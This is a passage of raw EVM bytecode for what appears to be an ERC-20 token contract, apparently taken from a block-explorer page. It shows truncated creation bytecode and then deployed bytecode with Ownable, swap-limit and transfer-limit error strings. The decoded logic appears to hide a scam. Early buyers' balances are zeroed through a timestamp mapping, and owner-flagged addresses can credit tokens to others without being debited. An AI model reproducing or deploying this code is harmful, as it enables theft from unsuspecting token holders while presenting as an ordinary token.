21916908315150217905550565b600090565b6060600380546109d590612f3b565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0190612f3b565b8015610a4e5780601f10610a2357610100808354040283529160200191610a4e565b820191906000526020600020905b815481529060010190602001808311610a3157829003601f168201915b5050505050905090565b6000610a6c610a65611bf9565b8484611c01565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b6000610ab1848484611dca565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610afc611bf9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610bb85782811015610ba3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9a90612fde565b60405180910390fd5b610bb785610baf611bf9565b858403611c01565b5b60019150509392505050565b60095481565b6000610bd66000610e4a565b610be161dead610e4a565b610beb919061302d565b610bf3610a9a565b610bfd9190613061565b905090565b60006009905090565b600860009054906101000a900460ff1681565b6000610cc0610c2b611bf9565b848460016000610c39611bf9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cbb919061302d565b611c01565b6001905092915050565b610cd2611bf9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612de8565b60405180910390fd5b8060098190555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d99611bf9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1f90612de8565b60405180910390fd5b80600860006101000a81548160ff02191690831515021790555050565b600090565b600080600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610ee457506000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442610ee29190613061565b115b15610ef25760009050610f34565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b610f41611bf9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc790612de8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611099611bf9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f90612de8565b60405180910390fd5b6000600a60006101000a81548160ff021916908315150217905550565b7f000000000000000000000000000000000000000000000000000000000000000081565b611171611bf9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f790612de8565b60405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600a60009054906101000a900460ff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461129490612f3b565b80601f01602080910402602001604051908101604052809291908181526020018280546112c090612f3b565b801561130d5780601f106112e25761010080835404028352916020019161130d565b820191906000526020600020905b8154815290600101906020018083116112f057829003601f168201915b5050505050905090565b61131f611bf9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a590612de8565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff16476040516113d4906130c6565b60006040518083038185875af1925050503d8060008114611411576040519150601f19603f3d011682016040523d82523d6000602084013e611416565b606091505b50508091505050565b6000806001600061142e611bf9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156114eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e29061314d565b60405180910390fd5b6114ff6114f6611bf9565b85858403611c01565b600191505092915050565b600061151e611517611bf9565b8484611dca565b6001905092915050565b600c5481565b611536611bf9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bc90612de8565b60405180910390fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516116629190612b20565b60405180910390a25050565b611676611bf9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611705576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fc90612de8565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611795576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178c906131df565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167f040128c2941423c10f612c675aae49759c2eacbd1fd48e7cf4f75e139b967fc160405160405180910390a35050565b61183e611bf9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c490612de8565b60405180910390fd5b620186a06118d9610bca565b6118e3919061322e565b811015611925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191c906132d1565b60405180910390fd5b6103e8611930610bca565b61193a919061322e565b81111561197c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197390613363565b60405180910390fd5b8060078190555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60075481565b611a1b611bf9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa190612de8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611b19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b10906133f5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e6020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6790613487565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611cdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd690613519565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611dbd9190612969565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e30906135ab565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9f9061363d565b60405180910390fd5b60008111611eeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee2906136a9565b60405180910390fd5b6000600c54118015611f465750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611f5a57611f5582826122dc565b6122d7565b6000600c54118015611fb65750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561200c5750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122cb57600a60009054906101000a900460ff161561207d576014612030610a9a565b61203a919061322e565b81111561207c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207390613715565b60405180910390fd5b5b600080612088610e45565b905060006120946109c1565b9050600860009054906101000a900460ff1680156120bf5750600660149054906101000a900460ff16155b15612106576001600660146101000a81548160ff0219169083151502179055506120ea8686866123a4565b6000600660146101000a81548160ff0219169083151502179055505b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561215f5750600082115b1561218357606482856121729190613735565b61217c919061322e565b92506122a4565b6000811180156121dc5750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122a357603c600c54426121f19190613061565b1115801561223e57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156122885742600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b606481856122969190613735565b6122a0919061322e565b92505b5b60008311156122b9576122b88630856126e7565b5b82846122c59190613061565b93505050505b6122d68383836126e7565b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361234b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123429061363d565b60405180910390fd5b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612399919061302d565b925050819055505050565b60006123ae610e45565b905060006123ba6109c1565b9050600082826123ca919061302d565b11156125ee5760006123db30610e4a565b90506000600267ffffffffffffffff8111156123fa576123f9613777565b5b6040519080825280602002602001820160405280156124285781602001602082028036833780820191505090505b50905030816000815181106124405761243f6137a6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124e5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061250991906137ea565b8160018151811061251d5761251c6137a6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125b99594939291906138d5565b600060405180830381600087803b1580156125d357600080fd5b505af11580156125e7573d6000803e3d6000fd5b5050505050505b60007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1647878760405160200161263b929190613977565b60405160208183030381529060405260405161265791906139df565b60006040518083038185875af1925050503d8060008114612694576040519150601f19603f3d011682016040523d82523d6000602084013e612699565b606091505b505080915050806126df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d690613a42565b60405180910390fd5b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612756576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274d906135ab565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127bc9061363d565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561284b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284290613ad4565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546128de919061302d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516129429190612969565b60405180910390a350505050565b6000819050919050565b61296381612950565b82525050565b600060208201905061297e600083018461295a565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156129be5780820151818401526020810190506129a3565b60008484015250505050565b6000601f19601f8301169050919050565b60006129e682612984565b6129f0818561298f565b9350612a008185602086016129a0565b612a09816129ca565b840191505092915050565b60006020820190508181036000830152612a2e81846129db565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a6682612a3b565b9050919050565b612a7681612a5b565b8114612a8157600080fd5b50565b600081359050612a9381612a6d565b92915050565b612aa281612950565b8114612aad57600080fd5b50565b600081359050612abf81612a99565b92915050565b60008060408385031215612adc57612adb612a36565b5b6000612aea85828601612a84565b9250506020612afb85828601612ab0565b9150509250929050565b60008115159050919050565b612b1a81612b05565b82525050565b6000602082019050612b356000830184612b11565b92915050565b6000819050919050565b6000612b60612b5b612b5684612a3b565b612b3b565b612a3b565b9050919050565b6000612b7282612b45565b9050919050565b6000612b8482612b67565b9050919050565b612b9481612b79565b82525050565b6000602082019050612baf6000830184612b8b565b92915050565b600080600060608486031215612bce57612bcd612a36565b5b6000612bdc86828701612a84565b9350506020612bed86828701612a84565b9250506040612bfe86828701612ab0565b9150509250925092565b600060ff82169050919050565b612c1e81612c08565b82525050565b6000602082019050612c396000830184612c15565b92915050565b600060208284031215612c5557612c54612a36565b5b6000612c6384828501612ab0565b91505092915050565b612c7581612a5b565b82525050565b6000602082019050612c906000830184612c6c565b92915050565b612c9f81612b05565b8114612caa57600080fd5b50565b600081359050612cbc81612c96565b92915050565b600060208284031215612cd857612cd7612a36565b5b6000612ce684828501612cad565b91505092915050565b600060208284031215612d0557612d04612a36565b5b6000612d1384828501612a84565b91505092915050565b60008060408385031215612d3357612d32612a36565b5b6000612d4185828601612a84565b9250506020612d5285828601612cad565b9150509250929050565b60008060408385031215612d7357612d72612a36565b5b6000612d8185828601612a84565b9250506020612d9285828601612a84565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612dd260208361298f565b9150612ddd82612d9c565b602082019050919050565b60006020820190508181036000830152612e0181612dc5565b9050919050565b6000819050919050565b6000612e2d612e28612e2384612e08565b612b3b565b612950565b9050919050565b612e3d81612e12565b82525050565b600060c082019050612e586000830189612c6c565b612e65602083018861295a565b612e726040830187612e34565b612e7f6060830186612e34565b612e8c6080830185612c6c565b612e9960a083018461295a565b979650505050505050565b600081519050612eb381612a99565b92915050565b600080600060608486031215612ed257612ed1612a36565b5b6000612ee086828701612ea4565b9350506020612ef186828701612ea4565b9250506040612f0286828701612ea4565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612f5357607f821691505b602082108103612f6657612f65612f0c565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000612fc860288361298f565b9150612fd382612f6c565b604082019050919050565b60006020820190508181036000830152612ff781612fbb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061303882612950565b915061304383612950565b925082820190508082111561305b5761305a612ffe565b5b92915050565b600061306c82612950565b915061307783612950565b925082820390508181111561308f5761308e612ffe565b5b92915050565b600081905092915050565b50565b60006130b0600083613095565b91506130bb826130a0565b600082019050919050565b60006130d1826130a3565b9150819050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061313760258361298f565b9150613142826130db565b604082019050919050565b600060208201905081810360008301526131668161312a565b9050919050565b7f546865206d61696e20706169722063616e6e6f742062652072656d6f7665642060008201527f66726f6d20706169727300000000000000000000000000000000000000000000602082015250565b60006131c9602a8361298f565b91506131d48261316d565b604082019050919050565b600060208201905081810360008301526131f8816131bc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061323982612950565b915061324483612950565b925082613254576132536131ff565b5b828204905092915050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b60006132bb60358361298f565b91506132c68261325f565b604082019050919050565b600060208201905081810360008301526132ea816132ae565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e312520746f74616c20737570706c792e000000000000000000000000602082015250565b600061334d60348361298f565b9150613358826132f1565b604082019050919050565b6000602082019050818103600083015261337c81613340565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133df60268361298f565b91506133ea82613383565b604082019050919050565b6000602082019050818103600083015261340e816133d2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061347160248361298f565b915061347c82613415565b604082019050919050565b600060208201905081810360008301526134a081613464565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350360228361298f565b915061350e826134a7565b604082019050919050565b60006020820190508181036000830152613532816134f6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359560258361298f565b91506135a082613539565b604082019050919050565b600060208201905081810360008301526135c481613588565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362760238361298f565b9150613632826135cb565b604082019050919050565b600060208201905081810360008301526136568161361a565b9050919050565b7f616d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b6000613693601d8361298f565b915061369e8261365d565b602082019050919050565b600060208201905081810360008301526136c281613686565b9050919050565b7f5472616e73666572206c696d6974206578636565646564000000000000000000600082015250565b60006136ff60178361298f565b915061370a826136c9565b602082019050919050565b6000602082019050818103600083015261372e816136f2565b9050919050565b600061374082612950565b915061374b83612950565b925082820261375981612950565b915082820484148315176137705761376f612ffe565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506137e481612a6d565b92915050565b600060208284031215613800576137ff612a36565b5b600061380e848285016137d5565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61384c81612a5b565b82525050565b600061385e8383613843565b60208301905092915050565b6000602082019050919050565b600061388282613817565b61388c8185613822565b935061389783613833565b8060005b838110156138c85781516138af8882613852565b97506138ba8361386a565b92505060018101905061389b565b5085935050505092915050565b600060a0820190506138ea600083018861295a565b6138f76020830187612e34565b81810360408301526139098186613877565b90506139186060830185612c6c565b613925608083018461295a565b9695505050505050565b60008160601b9050919050565b60006139478261392f565b9050919050565b60006139598261393c565b9050919050565b61397161396c82612a5b565b61394e565b82525050565b60006139838285613960565b6014820191506139938284613960565b6014820191508190509392505050565b600081519050919050565b60006139b9826139a3565b6139c38185613095565b93506139d38185602086016129a0565b80840191505092915050565b60006139eb82846139ae565b915081905092915050565b7f455448205472616e73666572206661696c656400000000000000000000000000600082015250565b6000613a2c60138361298f565b9150613a37826139f6565b602082019050919050565b60006020820190508181036000830152613a5b81613a1f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613abe60268361298f565b9150613ac982613a62565b604082019050919050565b60006020820190508181036000830152613aed81613ab1565b905091905056fea264697066735822122024e704352c63fe671135e9c212a562a2516e404b22c80d05e0f6e13d2c29681d64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000009a820a5bc1dfd49331ee777f1cdd69ccfe1f3bc2
Deployed Bytecode
0x6080604052600436106102085760003560e01c8063715018a611610118578063a9059cbb116100a0578063d257b34f1161006f578063d257b34f14610723578063dd62ed3e1461074c578063e2f4560514610789578063f2fde38b146107b4578063fe33b302146107dd5761020f565b8063a9059cbb14610669578063b31fc8ca146106a6578063c0246668146106d1578063c3803660146106fa5761020f565b8063860aefcf116100e7578063860aefcf146105945780638da5cb5b146105bf57806395d89b41146105ea5780639ab9ba6914610615578063a457c2d71461062c5761020f565b8063715018a614610512578063751039fc1461052957806375f0a87414610540578063761c3bb21461056b5761020f565b80632b112e491161019b5780633d18678e1161016a5780633d18678e1461042d57806349bd5a5e146104565780635f6d69c214610481578063685fc568146104aa57806370a08231146104d55761020f565b80632b112e491461036f578063313ce5671461039a578063351a964d146103c557806339509351146103f05761020f565b80631694505e116101d75780631694505e146102b157806318160ddd146102dc57806323b872dd14610307578063275fd8b7146103445761020f565b806301339c21146102145780630644e7571461021e57806306fdde0314610249578063095ea7b3146102745761020f565b3661020f57005b600080fd5b61021c61081a565b005b34801561022a57600080fd5b506102336109c1565b6040516102409190612969565b60405180910390f35b34801561025557600080fd5b5061025e6109c6565b60405161026b9190612a14565b60405180910390f35b34801561028057600080fd5b5061029b60048036038101906102969190612ac5565b610a58565b6040516102a89190612b20565b60405180910390f35b3480156102bd57600080fd5b506102c6610a76565b6040516102d39190612b9a565b60405180910390f35b3480156102e857600080fd5b506102f1610a9a565b6040516102fe9190612969565b60405180910390f35b34801561031357600080fd5b5061032e60048036038101906103299190612bb5565b610aa4565b60405161033b9190612b20565b60405180910390f35b34801561035057600080fd5b50610359610bc4565b6040516103669190612969565b60405180910390f35b34801561037b57600080fd5b50610384610bca565b6040516103919190612969565b60405180910390f35b3480156103a657600080fd5b506103af610c02565b6040516103bc9190612c24565b60405180910390f35b3480156103d157600080fd5b506103da610c0b565b6040516103e79190612b20565b60405180910390f35b3480156103fc57600080fd5b5061041760048036038101906104129190612ac5565b610c1e565b6040516104249190612b20565b60405180910390f35b34801561043957600080fd5b50610454600480360381019061044f9190612c3f565b610cca565b005b34801561046257600080fd5b5061046b610d6b565b6040516104789190612c7b565b60405180910390f35b34801561048d57600080fd5b506104a860048036038101906104a39190612cc2565b610d91565b005b3480156104b657600080fd5b506104bf610e45565b6040516104cc9190612969565b60405180910390f35b3480156104e157600080fd5b506104fc60048036038101906104f79190612cef565b610e4a565b6040516105099190612969565b60405180910390f35b34801561051e57600080fd5b50610527610f39565b005b34801561053557600080fd5b5061053e611091565b005b34801561054c57600080fd5b50610555611145565b6040516105629190612c7b565b60405180910390f35b34801561057757600080fd5b50610592600480360381019061058d9190612cef565b611169565b005b3480156105a057600080fd5b506105a9611248565b6040516105b69190612b20565b60405180910390f35b3480156105cb57600080fd5b506105d461125b565b6040516105e19190612c7b565b60405180910390f35b3480156105f657600080fd5b506105ff611285565b60405161060c9190612a14565b60405180910390f35b34801561062157600080fd5b5061062a611317565b005b34801561063857600080fd5b50610653600480360381019061064e9190612ac5565b61141f565b6040516106609190612b20565b60405180910390f35b34801561067557600080fd5b50610690600480360381019061068b9190612ac5565b61150a565b60405161069d9190612b20565b60405180910390f35b3480156106b257600080fd5b506106bb611528565b6040516106c89190612969565b60405180910390f35b3480156106dd57600080fd5b506106f860048036038101906106f39190612d1c565b61152e565b005b34801561070657600080fd5b50610721600480360381019061071c9190612d1c565b61166e565b005b34801561072f57600080fd5b5061074a60048036038101906107459190612c3f565b611836565b005b34801561075857600080fd5b50610773600480360381019061076e9190612d5c565b611986565b6040516107809190612969565b60405180910390f35b34801561079557600080fd5b5061079e611a0d565b6040516107ab9190612969565b60405180910390f35b3480156107c057600080fd5b506107db60048036038101906107d69190612cef565b611a13565b005b3480156107e957600080fd5b5061080460048036038101906107ff9190612cef565b611bd9565b6040516108119190612b20565b60405180910390f35b610822611bf9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a890612de8565b60405180910390fd5b6000600c54146108c057600080fd5b6000600a60006101000a81548160ff0219169083151502179055507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d719473061092230610e4a565b60008033426040518863ffffffff1660e01b815260040161094896959493929190612e43565b60606040518083038185885af1158015610966573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098b9190612eb9565b5050506000600c541461099d57600080fd5b42600c819055506001600a60006101000a81548160ff021916908315150217905550565b600090565b6060600380546109d590612f3b565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0190612f3b565b8015610a4e5780601f10610a2357610100808354040283529160200191610a4e565b820191906000526020600020905b815481529060010190602001808311610a3157829003601f168201915b5050505050905090565b6000610a6c610a65611bf9565b8484611c01565b6001905092915050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b6000610ab1848484611dca565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610afc611bf9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610bb85782811015610ba3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9a90612fde565b60405180910390fd5b610bb785610baf611bf9565b858403611c01565b5b60019150509392505050565b60095481565b6000610bd66000610e4a565b610be161dead610e4a565b610beb919061302d565b610bf3610a9a565b610bfd9190613061565b905090565b60006009905090565b600860009054906101000a900460ff1681565b6000610cc0610c2b611bf9565b848460016000610c39611bf9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cbb919061302d565b611c01565b6001905092915050565b610cd2611bf9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612de8565b60405180910390fd5b8060098190555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d99611bf9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1f90612de8565b60405180910390fd5b80600860006101000a81548160ff02191690831515021790555050565b600090565b600080600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610ee457506000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442610ee29190613061565b115b15610ef25760009050610f34565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b610f41611bf9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fd0576040517